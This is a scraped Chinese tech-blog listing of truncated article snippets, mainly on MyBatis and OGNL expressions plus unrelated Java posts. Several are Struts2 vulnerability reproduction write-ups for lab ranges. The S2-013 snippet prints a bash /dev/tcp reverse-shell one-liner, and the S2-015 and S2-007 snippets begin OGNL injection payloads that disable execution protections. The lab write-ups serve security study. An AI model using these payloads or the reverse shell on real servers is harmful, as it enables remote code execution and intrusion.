- MyBatis 学习笔记(4) 动态SQL
张云飞Vir
1.背景本节讲mybatis应对动态SQL的场景。2.知识动态SQL是指“条件"不固定的SQL,对比于一般的SQL,动态SQL会有一个或者多个条件/参数。比如:场景:查询的时候,如果用户输入了姓名,就按姓名模糊查询;同时又输入了邮箱,就再增加一个条件按姓名+邮箱两个条件查询。传统的拼接SQL很费力,拼接时要确保不能忘记添加必要的空格,还要注意去掉列表最后一个列名的逗号。借助功能强大的基于OGNL的
- MyBatis<if>标签判断字符串相等写法
都旭宝
mybatis
mybatis映射文件中,if标签判断字符串相等,两种方式:因为mybatis映射文件,是使用的ognl表达式,所以在判断字符串sex变量是否是字符串Y的时候,1.注意:不能使用and1=1因为mybatis会把’Y’解析为字符,java是强类型语言,所以不能这样写。
- Mybatis的XML文件中<if>标签内的判断语句equals的坑
家乡的落日
工作学习问题记录mybatis
Mybatis中执行SQL语句:假如代码中Stringname=“B”;在Mybatis的XML文件中有如下判断:--返回false--返回true--返回true可能是因为OGNL对单字符的识别当成了char类型,而我们代码中是String类型,所以判断成了false。所以在Mybatis的XML文件中判断字符串是否相等,建议使用test='name!=nullandname.equals("B
- JAVA Web学习(20)___第14章Struts2基础
岁月静好浅笑安然
第14章Struts2基础14.1Struts2概述14.1.1理解MVC原理14.1.2Struts2框架的产生14.1.3Struts2的结构体系14.2Struts2入门14.2.1Struts2的获取与放置开发struts项目必须添加的类库文件名称说明struts2-core-2.5.20.jarStruts2的核心类库xwork-core-2.1.6.jarXworkd的核心类库ognl
- struts2_ognl入门
小漫画ing
ognl的概述:1、之前在web阶段,学过el表达式,el表达式在jsp中获取域对象中的值。2、ognl也是一种表达式,而这个种表达式的功能更加强大。(1)在struts里面操作只栈数据。(2)一般把OGNL在Struts2操作,和Struts2标签一起使用操作值栈。3、OGNL不是Struts2的一部分,单独项目,经常和Struts2一起使用而已。(1)使用OGNL时候首先导入jar包,Stru
- Struts2 S2-045漏洞复现
你能拿我咋的
渗透测试漏洞复现strutsjavaweb安全
1.漏洞概述OGNL是ObjectGraphicNavigationLanguage(对象图导航语言)的缩写,它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不
- Mybatis使用动态sql时,参数为0判断test,查询条件的值传入0时,查询条件判断失效的问题
小百菜
javamybatis
1、判断Integer类型privateIntegerstatus;//状态,0,1,2。andstatus=#{status}当status的值为0的时候,where条件中的sql未正常拼接,即iftest中的条件不成立(false,应该为true才对),sql拼接失效原因:mybatis在预编译sql时,使用OGNL表达式来解析if标签,对于Integer类型属性,在判断不等于''时,会返回'
- OGNL
虫儿飞ZLEI
layout:posttitle:OGNLsubtitle:OGNLdate:2018-05-31author:ZLheader-img:img/20180531.jpgcatalog:truetags:-OGNLOGNL(对象视图导航语言)${user.addr.name}这种写法就叫对象视图导航.OGNL不仅仅可以视图导航.支持比EL表达式更加丰富的功能.使用导包在struts2的包中就已经包
- 备战蓝桥杯---数学基础2
cocoack
蓝桥杯算法笔记c++经验分享
学了常见的筛法,让我们看个题:首先,我们知道欧拉筛复杂度为nlognlogn,这题可以承受,但是空间上存不了,而如果我们枚举1--n^1/2,复杂度不允许。其实在枚举的方法中,我们只需找出有无在【2,n^1/2]的素数即可。这样,我们就可以用类似打表的形式记入素数。n^1/2差不多3万,有前面的定理可知质数数量差不多几十个,这样子就可以了。下面介绍算数基本定理:任何一个N=p1^c1*p2^c2*
- 六、动态SQL
Class鸣
if(判断)choose(分支选择)whenotherwisetrimwheresetforeachiftest:判断表达式(OGNL)从参数中取值判断普通的SELECT*FROMusersWHEREuid=#{uid}>")-->anduname=#{uname}andbirthday=#{birthday}封装查询条件Xxx=Xxx-->SELECT*FROMusersWHERE1=
- BUUCTF-Real-[struts2]s2-001
真的学不了一点。。。
漏洞复现与研究javastruts
漏洞描述struts2漏洞S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。漏洞poc验证经过poc验证,我们发现[st
- Struts2+Spring+Hibernate的工作流程及原理(整理的)
满脑子灵感
SSH框架工作流SSH原理
Struts2框架一、简介Struts2是一个相当强大的JavaWeb开源框架,是一个基于POJO的Action的MVCWeb框架。它基于当年的WebWork和XWork框架,继承其优点,同时做了相当的改进。1、Struts2基于MVC架构,框架结构清晰,开发流程一目了然,开发人员可以很好的掌控开发的过程。2、使用OGNL进行参数传递。OGNL提供了在Struts2里访问各种作用域的数据的简单方式
- 墨者学院-Apache Struts2远程代码执行漏洞(S2-007)复现
nohands_noob
靶场地址:https://www.mozhe.cn/bug/detail/dHlnc25uQ2RXYVhvRnIzNzhYaEFwQT09bW96aGUmozhe漏洞原理:当提交表单中变量的类型出现错误时,进行了错误的字符串拼接,后端会执行OGNL表达式漏洞测试:在年龄中输入非数字类型点击登陆,年龄框的value变成11,证明漏洞存在任意命令执行exp:'+(#_memberAccess["all
- ASP.NET Core 3.1系列(31)——日志组件NLog的基础使用方法
HerryDong
ASP.NETCoreC#ASP.NETCore
1、前言在生产环境中部署软件时,日志模块是必不可少的。在.NETFramework时代,Log4net是最常用的日志组件,而在.NETCore开发环境下,NLog的使用频率开始大幅提高。下面就来介绍一下NLog的基础使用方法。2、引入NLog新建一个WebAPI工程,使用NuGet引入如下组件:NLogNLog.Web.AspNetCore3、配置文件nlog.config新建一个XML文件,文件
- Struts2远程代码执行漏洞复现
大象只为你
跟我学网安知识网络安全命令执行漏洞复现
★★免责声明★★文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。1、漏洞介绍Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,因为大部分用户早就修复了历史的高危漏洞。
- BUUCTF-Real-[struts2]s2-013
真的学不了一点。。。
漏洞复现与研究网络安全安全web安全
struts2的标签中和都有一个includeParams属性,可以设置成如下值none-URL中不包含任何参数(默认)get-仅包含URL中的GET参数all-在URL中包含GET和POST参数当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。此时或尝试去解析原始请求参数时,会导致OGNL表达式的执行在s2-013中,因为参数的问题导致rc
- MyBatis映射文件
碧海暮苍梧
MyBatisjavamybatis
一、映射文件的SQL标签再映射文件中存在9大顶层的sql标签:SQL拼接与操作:select、delete、update、insert、sql(include)缓存:cache、cache-ref参数映射:parameterMap(该标签已被废除,关于参数的映射可以使用行内参数映射)解决映射:resultMap1、OGNL表达式与#{}、${}OGNL表达式的使用它是apache提供的一种表达式语
- mybatis set遇到坑: BuilderException: Error evaluating expression ‘shr ! = ‘‘ ,shr是关键字!
zz--1111
MyBatismybatis
updatetableNameshr=#{shr},.........Causedby:org.apache.ibatis.builder.BuilderException:Errorevaluatingexpression'shr!=''andshr!=null'.Cause:org.apache.ibatis.ognl.ExpressionSyntaxException:MalformedOG
- mybatis if标签判断字符串相等
gaoshan12345678910
mybatismybatisjavatomcat
mybatisif标签判断字符串相等mybatis映射文件中,if标签判断字符串相等,两种方式:因为mybatis映射文件,是使用的ognl表达式,所以在判断字符串sex变量是否是字符串Y的时候,1.2.注意:不能使用and1=1因为mybatis会把'Y'解析为字符,java是强类型语言,所以不能这样写。
- mybatis if标签判断字符串相等
特_尼
mybatis映射文件中,if标签判断字符串相等,两种方式:因为mybatis映射文件,是使用的ognl表达式,所以在判断字符串sex变量是否是字符串Y的时候,第一种方法第二种方法注意:不能使用and1=1因为mybatis会把'Y'解析为字符,java是强类型语言,所以不能这样写。参考文档:https://www.cnblogs.com/westward/p/6910856.html
- mybatis的动态标签,在实际开发中公共的字段怎么写sql
人帝
mybatissql数据库
MyBatis的动态SQL是一种强大的机制,可以根据不同的条件生成不同的SQL语句,其中的动态标签包括,,,,,,,等,使得在实际开发中可以更灵活地构建SQL语句。当需要在实际开发中处理公共字段时,可以使用动态标签结合MyBatis的参数和OGNL表达式来处理。下面是一些在实际开发中处理公共字段的示例:1.使用****标签处理公共字段:UPDATEuserusername=#{username},
- JAVA----Thymeleaf 常用语法
damys
JAVAjavaThymeleaf
变量Thymeleaf的主要作用是把model中的数据渲染到html中model中的变量${...}语法和el表达式差不多,但它是ognl表达式自定义变量script//协议名称varscheme=[[${#request.getScheme()}]];//服务器名称varserverName=[[${#request.getServerName()}]];//服务器端口号varserverPor
- [漏洞复现]Apache Struts2/S2-015 (CVE-2013-2134)
free key
漏洞复现春秋云境靶场Strutsapachestrutsweb安全安全
一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意OGNL代码,这是与CVE-2013-2135不同的漏洞。二、漏洞复现春秋云境.com进入靶场开始复现构造payload/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_
- [漏洞复现]Apache Struts2/S2-013 (CVE-2013-1966)
free key
漏洞复现春秋云境靶场Strutsapachestrutsjavaweb安全安全
一、漏洞情况分析2.3.14.2之前的ApacheStruts2允许远程攻击者通过在(1)URL或(2)A标签中使用includeParams属性时未正确处理的特制请求执行任意OGNL代码。二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
- [漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)
free key
Struts春秋云境靶场apachestrutsjavaweb安全安全
一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意OGNL代码,这会导致OGNL代码被评估两次。二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_member
- 平衡树详解
一棵油菜花
算法篇算法学习c++数据结构
更好的阅读体验平衡树是一种二叉查找树,其平衡性使得树的深度在logn\lognlogn以内,增加、删除等操作可以做到O(logn)O(\logn)O(logn).平衡树的实现有多种,本文主要介绍AVLAVLAVL、TreapTreapTreap、FHQTreapFHQ\TreapFHQTreap与SplaySplaySplay.AVL介绍AVLAVLAVL是这些算法中时间复杂度最优秀的,也是码
- Arthas中ognl表达式使用详解,以及通过ognl表达式获取Spring项目上下文中对象参数信息
kerwin_code
javaspringjava后端springboot
目录前言一、基础操作1.1、使用`ognl`表达式获取静态属性和调用静态方法1.1.1、测试代码1.1.2、获取静态属性`ognl`表达式1.1.3、调用静态方法`ognl`表达式1.2、使用`ognl`表达式操作对象的非静态属性和非静态方法1.2.1、测试代码1.2.2、获取非静态属性`ognl`表达式1.2.3、调用非静态方法`ognl`表达式二、进阶操作2.1、使用`ognl`表达式创建一个
- Java全栈课程之Mybatis详解——动态SQL
小孙同学1024
Java全栈开发javamybatissql
什么是动态SQL:根据不同的条件生成不同的SQL语句,利用动态SQL,可以彻底摆脱这种痛苦。如果你之前用过JSTL或任何基于类XML语言的文本处理器,你对动态SQL元素可能会感觉似曾相识。在MyBatis之前的版本中,需要花时间了解大量的元素。借助功能强大的基于OGNL的表达式,MyBatis3替换了之前的大部分元素,大大精简了元素种类,现在要学习的元素种类比原来的一半还要少。ifchoose(w
- OGNL的基本语法与用法
天一i
OGNL表达式的基本语法和基本用法一.OGNL中的#、%和$符号#、%和$符号在OGNL表达式中经常出现,而这三种符号也是开发者不容易掌握和理解的部分。在这里我们简单介绍它们的相应用途。1.#符号的三种用法1)访问非根对象属性,例如示例中的#session.msg表达式,由于Struts2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext.getC
- Template Engine-06-模板引擎 Handlebars 入门介绍
老马啸西风
tools测试用例开发语言java
拓展阅读java表达式引擎logstash日志加工处理-08-表达式执行引擎AviatorScript+MVEL+OGNL+SpEL+JEXL+JUEL+JaninoQLExpress阿里表达式引擎系统学习什么是Handlebars?Handlebars是一种简单的模板语言。它使用模板和输入对象生成HTML或其他文本格式。Handlebars模板看起来像带有嵌入的Handlebars表达式的常规文
- java杨辉三角
3213213333332132
java基础
package com.algorithm;
/**
* @Description 杨辉三角
* @author FuJianyong
* 2015-1-22上午10:10:59
*/
public class YangHui {
public static void main(String[] args) {
//初始化二维数组长度
int[][] y
- 《大话重构》之大布局的辛酸历史
白糖_
重构
《大话重构》中提到“大布局你伤不起”,如果企图重构一个陈旧的大型系统是有非常大的风险,重构不是想象中那么简单。我目前所在公司正好对产品做了一次“大布局重构”,下面我就分享这个“大布局”项目经验给大家。
背景
公司专注于企业级管理产品软件,企业有大中小之分,在2000年初公司用JSP/Servlet开发了一套针对中
- 电驴链接在线视频播放源码
dubinwei
源码电驴播放器视频ed2k
本项目是个搜索电驴(ed2k)链接的应用,借助于磁力视频播放器(官网:
http://loveandroid.duapp.com/ 开放平台),可以实现在线播放视频,也可以用迅雷或者其他下载工具下载。
项目源码:
http://git.oschina.net/svo/Emule,动态更新。也可从附件中下载。
项目源码依赖于两个库项目,库项目一链接:
http://git.oschina.
- Javascript中函数的toString()方法
周凡杨
JavaScriptjstoStringfunctionobject
简述
The toString() method returns a string representing the source code of the function.
简译之,Javascript的toString()方法返回一个代表函数源代码的字符串。
句法
function.
- struts处理自定义异常
g21121
struts
很多时候我们会用到自定义异常来表示特定的错误情况,自定义异常比较简单,只要分清是运行时异常还是非运行时异常即可,运行时异常不需要捕获,继承自RuntimeException,是由容器自己抛出,例如空指针异常。
非运行时异常继承自Exception,在抛出后需要捕获,例如文件未找到异常。
此处我们用的是非运行时异常,首先定义一个异常LoginException:
/**
* 类描述:登录相
- Linux中find常见用法示例
510888780
linux
Linux中find常见用法示例
·find path -option [ -print ] [ -exec -ok command ] {} \;
find命令的参数;
- SpringMVC的各种参数绑定方式
Harry642
springMVC绑定表单
1. 基本数据类型(以int为例,其他类似):
Controller代码:
@RequestMapping("saysth.do")
public void test(int count) {
}
表单代码:
<form action="saysth.do" method="post&q
- Java 获取Oracle ROWID
aijuans
javaoracle
A ROWID is an identification tag unique for each row of an Oracle Database table. The ROWID can be thought of as a virtual column, containing the ID for each row.
The oracle.sql.ROWID class i
- java获取方法的参数名
antlove
javajdkparametermethodreflect
reflect.ClassInformationUtil.java
package reflect;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.Modifier;
import javassist.bytecode.CodeAtt
- JAVA正则表达式匹配 查找 替换 提取操作
百合不是茶
java正则表达式替换提取查找
正则表达式的查找;主要是用到String类中的split();
String str;
str.split();方法中传入按照什么规则截取,返回一个String数组
常见的截取规则:
str.split("\\.")按照.来截取
str.
- Java中equals()与hashCode()方法详解
bijian1013
javasetequals()hashCode()
一.equals()方法详解
equals()方法在object类中定义如下:
public boolean equals(Object obj) {
return (this == obj);
}
很明显是对两个对象的地址值进行的比较(即比较引用是否相同)。但是我们知道,String 、Math、I
- 精通Oracle10编程SQL(4)使用SQL语句
bijian1013
oracle数据库plsql
--工资级别表
create table SALGRADE
(
GRADE NUMBER(10),
LOSAL NUMBER(10,2),
HISAL NUMBER(10,2)
)
insert into SALGRADE values(1,0,100);
insert into SALGRADE values(2,100,200);
inser
- 【Nginx二】Nginx作为静态文件HTTP服务器
bit1129
HTTP服务器
Nginx作为静态文件HTTP服务器
在本地系统中创建/data/www目录,存放html文件(包括index.html)
创建/data/images目录,存放imags图片
在主配置文件中添加http指令
http {
server {
listen 80;
server_name
- kafka获得最新partition offset
blackproof
kafkapartitionoffset最新
kafka获得partition下标,需要用到kafka的simpleconsumer
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.
- centos 7安装docker两种方式
ronin47
第一种是采用yum 方式
yum install -y docker
 
- java-60-在O(1)时间删除链表结点
bylijinnan
java
public class DeleteNode_O1_Time {
/**
* Q 60 在O(1)时间删除链表结点
* 给定链表的头指针和一个结点指针(!!),在O(1)时间删除该结点
*
* Assume the list is:
* head->...->nodeToDelete->mNode->nNode->..
- nginx利用proxy_cache来缓存文件
cfyme
cache
user zhangy users;
worker_processes 10;
error_log /var/vlogs/nginx_error.log crit;
pid /var/vlogs/nginx.pid;
#Specifies the value for ma
- [JWFD开源工作流]JWFD嵌入式语法分析器负号的使用问题
comsci
嵌入式
假如我们需要用JWFD的语法分析模块定义一个带负号的方程式,直接在方程式之前添加负号是不正确的,而必须这样做:
string str01 = "a=3.14;b=2.71;c=0;c-((a*a)+(b*b))"
定义一个0整数c,然后用这个整数c去
- 如何集成支付宝官方文档
dai_lm
android
官方文档下载地址
https://b.alipay.com/order/productDetail.htm?productId=2012120700377310&tabId=4#ps-tabinfo-hash
集成的必要条件
1. 需要有自己的Server接收支付宝的消息
2. 需要先制作app,然后提交支付宝审核,通过后才能集成
调试的时候估计会真的扣款,请注意
- 应该在什么时候使用Hadoop
datamachine
hadoop
原帖地址:http://blog.chinaunix.net/uid-301743-id-3925358.html
存档,某些观点与我不谋而合,过度技术化不可取,且hadoop并非万能。
--------------------------------------------万能的分割线--------------------------------
有人问我,“你在大数据和Hado
- 在GridView中对于有外键的字段使用关联模型进行搜索和排序
dcj3sjt126com
yii
在GridView中使用关联模型进行搜索和排序
首先我们有两个模型它们直接有关联:
class Author extends CActiveRecord {
...
}
class Post extends CActiveRecord {
...
function relations() {
return array(
'
- 使用NSString 的格式化大全
dcj3sjt126com
Objective-C
格式定义The format specifiers supported by the NSString formatting methods and CFString formatting functions follow the IEEE printf specification; the specifiers are summarized in Table 1. Note that you c
- 使用activeX插件对象object滚动有重影
蕃薯耀
activeX插件滚动有重影
使用activeX插件对象object滚动有重影 <object style="width:0;" id="abc" classid="CLSID:D3E3970F-2927-9680-BBB4-5D0889909DF6" codebase="activex/OAX339.CAB#
- SpringMVC4零配置
hanqunfeng
springmvc4
基于Servlet3.0规范和SpringMVC4注解式配置方式,实现零xml配置,弄了个小demo,供交流讨论。
项目说明如下:
1.db.sql是项目中用到的表,数据库使用的是oracle11g
2.该项目使用mvn进行管理,私服为自搭建nexus,项目只用到一个第三方 jar,就是oracle的驱动;
3.默认项目为零配置启动,如果需要更改启动方式,请
- 《开源框架那点事儿16》:缓存相关代码的演变
j2eetop
开源框架
问题引入
上次我参与某个大型项目的优化工作,由于系统要求有比较高的TPS,因此就免不了要使用缓冲。
该项目中用的缓冲比较多,有MemCache,有Redis,有的还需要提供二级缓冲,也就是说应用服务器这层也可以设置一些缓冲。
当然去看相关实现代代码的时候,大致是下面的样子。
[java]
view plain
copy
print
?
public vo
- AngularJS浅析
kvhur
JavaScript
概念
AngularJS is a structural framework for dynamic web apps.
了解更多详情请见原文链接:http://www.gbtags.com/gb/share/5726.htm
Directive
扩展html,给html添加声明语句,以便实现自己的需求。对于页面中html元素以ng为前缀的属性名称,ng是angular的命名空间
- 架构师之jdk的bug排查(一)---------------split的点号陷阱
nannan408
split
1.前言.
jdk1.6的lang包的split方法是有bug的,它不能有效识别A.b.c这种类型,导致截取长度始终是0.而对于其他字符,则无此问题.不知道官方有没有修复这个bug.
2.代码
String[] paths = "object.object2.prop11".split("'");
System.ou
- 如何对10亿数据量级的mongoDB作高效的全表扫描
quentinXXZ
mongodb
本文链接:
http://quentinXXZ.iteye.com/blog/2149440
一、正常情况下,不应该有这种需求
首先,大家应该有个概念,标题中的这个问题,在大多情况下是一个伪命题,不应该被提出来。要知道,对于一般较大数据量的数据库,全表查询,这种操作一般情况下是不应该出现的,在做正常查询的时候,如果是范围查询,你至少应该要加上limit。
说一下,
- C语言算法之水仙花数
qiufeihu
c算法
/**
* 水仙花数
*/
#include <stdio.h>
#define N 10
int main()
{
int x,y,z;
for(x=1;x<=N;x++)
for(y=0;y<=N;y++)
for(z=0;z<=N;z++)
if(x*100+y*10+z == x*x*x
- JSP指令
wyzuomumu
jsp
jsp指令的一般语法格式: <%@ 指令名 属性 =”值 ” %>
常用的三种指令: page,include,taglib
page指令语法形式: <%@ page 属性 1=”值 1” 属性 2=”值 2”%>
include指令语法形式: <%@include file=”relative url”%> (jsp可以通过 include